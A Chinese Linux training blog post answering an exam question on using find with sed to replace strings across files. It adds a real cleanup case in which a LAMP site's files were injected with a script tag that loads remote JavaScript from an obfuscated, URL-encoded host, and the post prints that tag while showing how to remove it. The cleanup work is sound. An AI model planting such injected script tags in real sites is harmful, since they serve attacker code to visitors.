find+sed考试题及生产实战解决案例分享考试答案系列

说明:本文为老男孩linux培训某节课前考试试题及答案分享博文内容的一部分,也是独立成题的,你可以点下面地址查看全部的内容信息。
http://oldboy.blog.51cto.com/2561410/791245特别说明:答题的思路技巧可能比做题本身更重要,这也是老男孩特别教导学生的学习方法。

5.查找当前目录下所有文件,并把文件中的www.etiantian.org字符串替换成www.oldboy.cc

解答:

通过find命令查找,然后通过-exec参数调用sed命令完成替换

#→这个命令是错误的语法,仅结尾{}前少了个空格,细节决定成败啊!find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g' {} \; #→这个命令是正确的语法,点号为特殊字符,使用\来转义(除去特殊字符代表的特殊含义,使用其本身的原始意义)。对于本题可以不用转义。find . -type f -exec sed -i 's/www.oldboy.cc/www.etiantian.org/g' {} \;#→此处不转义也可以。find . -type f -exec sed -i 's#www.etiantian.org#www.oldboy.cc#g' {} \;说明:此题考察find,sed命令的组合使用,是非常常用,好用的两个命令,必须精通之。案例实践:

[[email protected] test]# echo www.etiantian.org >test.txt#→创建测试文件,录入wwww.etiantian.org[[email protected] test]# echo www.etiantian.org >ett.txt#→创建测试文件,录入wwww.etiantian.org[[email protected] test]# cat test.txt ett.txtwww.etiantian.orgwww.etiantian.org[[email protected] test]# lsett.txttest.txt[[email protected] test]# find . -type f -exec sed -i 's/www.etiantian.org/oldboy.cc/g' {} \;#→查找当前目录(点表示当前目录),所有文件,然后把文件中的www.etiantian.org的字符串,替换为oldboy.cc[[email protected] test]# cat ett.txt test.txt oldboy.cc#→修改后的结果,原来是www.etiantian.orgoldboy.cc[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \;[[email protected] test]# cat ett.txt test.txt www.etiantian.org#→修改后的结果,刚刚是oldboy.ccwww.etiantian.org

如果是语法错误就会出现如下提示:

[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \;sed: -e expression #1, char 40: unterminated `s' commandsed: -e expression #1, char 41: unterminated `s' command[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\;find: missing argument to `-exec'正确错误命令对比:find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \; #→错误命令find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\; #→错误命令find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \; #→正确命令,大括号前后各多了个空格,这也是find命令的语法写法。参考man find帮助案例:EXAMPLESfind /tmp -name core -type f -print | xargs /bin/rm -fFindfiles named core in or below the directory /tmp and delete them.Note that this will work incorrectly if there are any filenames containing newlines, single or double quotes, or spaces.find /tmp -name core -type f -print0 | xargs -0 /bin/rm -fFind files named core in or below the directory /tmp and delete them, processing filenames in such awaythat fileordirectorynamescontainingsingle or double quotes, spaces or newlines are correctly handled.The-name test comes before the -type test in order to avoid having to call stat(2) on every file.find . -type f -exec file '{}' \;例:查看找所有文件并查看文件类型

[[email protected] test]# find . -type f -exec file '{}' \;./ett.txt: ASCII text./test.txt: ASCII text[[email protected] test]# find . -type f -exec file {} \;./ett.txt: ASCII text./test.txt: ASCII text学生典型答案:

答案1解答: # grep "www.etiantian.org"* |tr "www.etiantian.org"oldboy.cc

老男孩老师点评:这是错误答案。答案2find . -type f |sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:这是不规范的正确答案,加引号比较好。答案3find . -type f |xargs sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:此答案思路也可以,注意加引号。

生产环境正式案例:这是一个几年前老男孩老师给一家IT公司做技术顾问时遇到的一个实际问题,情况是:

一个lamp的服务器,站点目录下所有文件均被植入了如下内容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>

包括图片文件也被植入了,网站打开时就会调用这个地址,造成的影响很恶劣。

虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定,后来给老男孩电话。5分钟内搞定。

实际解决办法:

思路是:需要遍历所有目录所有文件把以上被植入的内容删除掉。

实践演示:

[[email protected] test]# cat guanggao.txt #→模拟被窜改的文件,多个。<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>

处理命令:

法一:[[email protected] test]#find . -type f -exec sed -i 's#<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>##g' {} \;

#→就是本题的命令使用方法。法二:find sed删除 正则匹配:?google_ad ,包含字符串?google_ad的内容的行删除。[[email protected] oldboy]# find . -type f -exec sed -i '/^.*\?google_ad/d' {} \; 特别提示:法二的方法,容易把程序里的其他正常内容删除掉,匹配关键字很重要,因此不建议使用法二。

如果用完整匹配删除则很麻烦:find . -type f -exec sed -i '/<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x\.js\?google_ad=95x27_ad><\/script>/d' {} \;

sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'处理后的结果

[[email protected] test]# cat guanggao.txt当时的处理过程:

1、和运维人员确认确实出问题了。并详细确认问题情况。2、制定处理方案,先备份数据,然后,执行命令批量修改回来。3、写解决说明(类似本例这样),写完发给他们的运维。4、询问处理结果,并告知详细查看日志,问题发生来源。5、提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线规范思路)。

站点目录严格权限规划方案及新上线规范思路,请参考:老男孩linux实战培训教案-Linux文件和目录的属性及权限精华讲解老男孩linux实战培训教案-LAMP/LNMP生产环境40条优化军规精华讲解老男孩linux实战培训教案-生产环境sina,baidu,腾讯门户站上线发布代码方案精华讲解

《老男孩linux实战培训教案-强大的流编辑器sed详解指南及经典生产案例》《老男孩linux实战培训教案--find详解指南及经典生产案例》

更多相关文章
  • rsync生产实战考试题模拟09说明:本文来自来自北京老男孩linux运维实战培训中心-运维就业课程免费视频内容,本文内容为系列内容,更多分享信息见:http://oldboy.blog.51cto.com/2561410/12164571)视频实战讲解分享(全屏观看效果更好)更多分享信息见:htt ...
  • rsync生产实战考试题讲解10说明:本文来自来自北京老男孩linux运维实战培训中心-运维就业课程免费视频内容,本文内容为系列内容,更多分享信息见:http://oldboy.blog.51cto.com/2561410/12164571)视频实战讲解分享(全屏观看效果更好)更多分享信息见:htt ...
  • 本博文为老男孩linu培训机构早期的培训教案,特分享以供大家学习参考.全部系列分为五篇文章,本博文为第三篇:四.awk数组命令生产实战拓展4.1统计apache日志单ip访问请求数排名(这个常用,考试也常考)假设apache日志内容access.log内容为:10.0.0.41 - - [03/De ...
  • Oracle 11g RAC 添加新节点及故障解决案例系统环境:操作系统:RedHat EL55集群:      Oracle 11g GIOracle:   Oracle 11gR2一.配置新的节点1.首先按照其他节点进行 系统基本参数配置2.添加hosts到所有节点 并完成用户等效性配置 (gr ...
  • ##########################################################生产场景不同角色linux服务器分区案例分享#date:2011-08-08#作者:老男孩#QQ:31333741 MAIL:[email protected]#QQ交流群:4 ...
  •     linux运维实战练习案例-2015年12月20日-12月31日(第一次)1.创建一个10G的文件系统,类型为ext4,要求开机可自动挂载至单独数据/data目录:    [[email protected]~]# cat /proc/partitions      major minor  # ...
  • 本文内容已重新发布.http://oldboy.blog.51cto.com/2561410/926983   老男孩linux运维实战培训门户网站CDN优化内部教学案例分享说明:本文内容来自某门户网站真实内容,原文讲解的非常棒,被老男孩linux运维实战培训选为的教学案例教案之一,内容中有老男孩的 ...
  • IPCC呼叫中心解决案例    一嗨租车    一嗨租车" name=image_operate_7281340243089843 alt="IPCC呼叫中心解决案例    一嗨租车" src="http://s4.sinaimg.cn/middle/9ef7 ...
一周排行
  • 算术异常类:ArithmeticExecption空指针异常类:NullPointerException类型强制转换异常:ClassCastException数组负下标异常:NegativeArrayExceptio ...
  • Linux上的文件以.开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示 一般文件名外,连隐藏文件也会显示出来.ls -l(这个参数是字母L的小写,不是数字1)这个命令可以使用长格式显示 ...
  • <c:foreach>标签详细用法:转的,用来作为自己的学习笔记<c:foreach>类似于for和foreach循环   以下是我目前见过的用法:1.循环遍历,输出所有的元素.<c:f ...
  • 文章管理的视图与文件管理区别不大,都是分左右两部分.文章管理的左边是树状的分类列表,右边以Grid形式显示的文章列表.基本上重复劳动比较 多,使用Sencha Architect这个可视化工具来做这方面的设计,是不错 ...
  • WindowsAzure保留已存在的虚拟网络外网IP(云服务)
    Windows Azure 保留已存在的虚拟网络外网IP(云服务)我们之前文章中有介绍过通 ...
  • 使用SyndicationFeed输出Rss
    以前生成 RSS 都是使用拼接 Xml 的方式生成的,不仅麻烦而且还不规范. 1 #reg ...
  • MFC动态创建按钮
    首先在对话框(模式对话框,无模式对话框)中添加一个ADD按钮,通过点击按钮产生的通告消息调 ...
  • C++文件流: fstream // 文件流 ifstream // 输入文件流 ofstream // 输出文件流 //创建一个文本文件并写入信息 //同向屏幕上输出信息一样将信息输出至文件 #include< ...
  • 虚拟机的演化
    本文已发表在<软件世界>,2007.7.5版什么是虚拟化?迄今为止,虚拟化没有 ...
  • 安装指南http://wiki.ubuntu.org.cn/IRedMailhttp://netren.org/index.php/jeffreyguo/151-iredmaildibianubuntu.htmlir ...